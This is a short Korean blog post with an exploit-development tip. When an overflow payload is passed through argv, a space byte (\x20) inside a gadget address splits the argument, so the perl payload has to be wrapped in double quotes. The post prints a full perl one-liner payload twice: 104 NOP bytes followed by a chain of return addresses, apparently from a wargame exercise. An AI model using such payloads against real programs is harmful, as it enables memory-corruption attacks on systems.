IT 그리고 정보보안/Knowledge base

argv[] 인자로 받는 페이로드 구성 시 유의할 점

plummmm 2021. 4. 15. 21:35
반응형

argv를 인자로 받을때 ppr 가젯이나 쉘코드에 \x20 이 들어 있으면

펄 or 파이썬 스크립트를 " " (더블 쿼터) 로 묶어야 한다.

 

\x20이 아스키 코드값으로 space(공백)인데, argv[]는 

space(공백)을 토큰으로 인자 배열을 구분한다.

 

그래서 \x20 을 bad character 로 인식하는 듯 하다.

(정확한 건 아닌데 짐작컨데 이게 맞는듯..)

 

그러니까 ...

 

`perl -e 'print                                       "\x90"x104,"\x10\x83\x04\x08","\xde\x84\x04\x08","\x20\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x21\xa0\x04\x08","\x2f\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x22\xa0\x04\x08","\x9d\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x23\xa0\x04\x08","\x5e\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x24\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x25\xa0\x04\x08","\x3b\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x26\xa0\x04\x08","\x16\x83\x04\x08"'`

 

기존의 페이로드가 이런식으로 나왔다면,

 

"`perl -e 'print                                 "\x90"x104,"\x10\x83\x04\x08","\xde\x84\x04\x08","\x20\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x21\xa0\x04\x08","\x2f\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x22\xa0\x04\x08","\x9d\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x23\xa0\x04\x08","\x5e\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x24\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x25\xa0\x04\x08","\x3b\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x26\xa0\x04\x08","\x16\x83\x04\x08"'`"

 

요렇게 고쳐줘야 한다는 말이다.

반응형